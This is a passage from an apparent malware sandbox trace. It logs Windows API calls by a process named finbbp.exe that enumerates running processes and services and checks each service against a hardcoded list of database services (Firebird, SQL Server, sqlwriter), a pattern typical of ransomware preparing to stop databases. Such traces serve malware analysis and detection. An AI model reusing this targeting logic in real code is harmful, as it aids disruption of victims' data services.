th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.997] lstrlenW (lpString="svchost.exe") returned 11 [0233.997] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.998] lstrlenW (lpString="svchost.exe") returned 11 [0233.998] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.998] lstrlenW (lpString="spoolsv.exe") returned 11 [0233.998] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.999] lstrlenW (lpString="svchost.exe") returned 11 [0233.999] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.999] lstrlenW (lpString="audiodg.exe") returned 11 [0233.999] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0234.000] lstrlenW (lpString="sihost.exe") returned 10 [0234.000] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.000] lstrlenW (lpString="svchost.exe") returned 11 [0234.000] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0234.001] lstrlenW (lpString="taskhostw.exe") returned 13 [0234.001] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0234.001] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0234.001] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0234.002] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0234.002] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0234.002] lstrlenW (lpString="Memory Compression") returned 18 [0234.002] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.003] lstrlenW (lpString="explorer.exe") returned 12 [0234.003] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0234.003] lstrlenW (lpString="SearchUI.exe") returned 12 [0234.003] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0234.004] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0234.004] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0234.004] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0234.004] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.005] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0234.005] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0234.005] lstrlenW (lpString="finbbp.exe") returned 10 [0234.005] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.006] lstrlenW (lpString="cmd.exe") returned 7 [0234.006] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.006] lstrlenW (lpString="conhost.exe") returned 11 [0234.006] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0234.007] lstrlenW (lpString="mode.com") returned 8 [0234.007] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0234.007] CloseHandle (hObject=0x4c8) returned 1 [0234.007] Sleep (dwMilliseconds=0x1f4) [0234.765] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aada8 [0234.852] EnumServicesStatusExW (in: hSCManager=0x41aada8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0234.874] GetLastError () returned 0xea [0234.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4112688 [0234.874] EnumServicesStatusExW (in: hSCManager=0x41aada8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4112688, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4112688, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0234.875] CloseServiceHandle (hSCObject=0x41aada8) returned 1 [0234.875] lstrlenW (lpString="AppXSvc") returned 7 [0234.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0234.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0234.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0234.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0234.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0234.875] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0234.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0234.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0234.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0234.876] lstrlenW (lpString="Audiosrv") returned 8 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0234.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0234.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0234.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0234.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0234.876] lstrlenW (lpString="BFE") returned 3 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0234.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0234.876] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0234.876] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0234.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0234.876] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0234.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0234.876] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0234.876] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0234.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0234.876] lstrlenW (lpString="CDPSvc") returned 6 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0234.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0234.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0234.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0234.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0234.876] lstrlenW (lpString="ClickToRunSvc") returned 13 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0234.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0234.876] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0234.876] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0234.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0234.876] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0234.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0234.877] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0234.877] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0234.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0234.877] lstrlenW (lpString="CryptSvc") returned 8 [0234.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0234.877] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0234.877] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0234.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0234.877] lstrlenW (lpString="DcomLaunch") returned 10 [0234.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0234.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0234.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0234.877] lstrlenW (lpString="DeviceAssociationService") returned 24 [0234.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0234.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0234.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0234.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0234.877] lstrlenW (lpString="Dhcp") returned 4 [0234.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0234.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0234.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0234.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0234.877] lstrlenW (lpString="Dnscache") returned 8 [0234.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0234.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0234.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0234.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0234.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0234.878] lstrlenW (lpString="DPS") returned 3 [0234.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0234.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0234.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0234.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0234.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0234.878] lstrlenW (lpString="DusmSvc") returned 7 [0234.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0234.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0234.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0234.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0234.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0234.878] lstrlenW (lpString="EventLog") returned 8 [0234.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0234.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0234.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0234.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0234.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0234.878] lstrlenW (lpString="EventSystem") returned 11 [0234.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0234.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0234.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0234.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0234.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0234.879] lstrlenW (lpString="FontCache") returned 9 [0234.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0234.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0234.879] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0234.879] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0234.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0234.879] lstrlenW (lpString="gpsvc") returned 5 [0234.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0234.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0234.879] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0234.879] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0234.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0234.879] lstrlenW (lpString="iphlpsvc") returned 8 [0234.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0234.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0234.879] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0234.879] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0234.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0234.879] lstrlenW (lpString="KeyIso") returned 6 [0234.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0234.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0234.879] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0234.879] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0234.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0234.879] lstrlenW (lpString="LanmanServer") returned 12 [0234.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0234.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0234.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0234.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0234.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0234.880] lstrlenW (lpString="LanmanWorkstation") returned 17 [0234.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0234.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0234.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0234.880] lstrlenW (lpString="lfsvc") returned 5 [0234.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0234.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0234.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0234.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0234.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0234.880] lstrlenW (lpString="lmhosts") returned 7 [0234.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0234.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0234.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0234.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0234.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0234.880] lstrlenW (lpString="LSM") returned 3 [0234.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0234.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0234.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0234.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0234.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0234.880] lstrlenW (lpString="MpsSvc") returned 6 [0234.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0234.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0234.880] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0234.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0234.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0234.881] lstrlenW (lpString="NcbService") returned 10 [0234.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0234.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0234.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0234.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0234.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0234.881] lstrlenW (lpString="netprofm") returned 8 [0234.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0234.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0234.881] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0234.881] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0234.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0234.881] lstrlenW (lpString="NgcSvc") returned 6 [0234.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0234.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0234.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0234.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0234.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0234.881] lstrlenW (lpString="NlaSvc") returned 6 [0234.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0234.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0234.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0234.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0234.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0234.881] lstrlenW (lpString="nsi") returned 3 [0234.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0234.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0234.881] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0234.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0234.882] lstrlenW (lpString="PcaSvc") returned 6 [0234.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0234.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0234.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0234.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0234.882] lstrlenW (lpString="PlugPlay") returned 8 [0234.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0234.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0234.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0234.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0234.882] lstrlenW (lpString="Power") returned 5 [0234.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0234.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0234.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0234.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0234.882] lstrlenW (lpString="ProfSvc") returned 7 [0234.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0234.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0234.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0234.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0234.882] lstrlenW (lpString="RpcEptMapper") returned 12 [0234.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0234.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0234.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0234.883] lstrlenW (lpString="RpcSs") returned 5 [0234.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 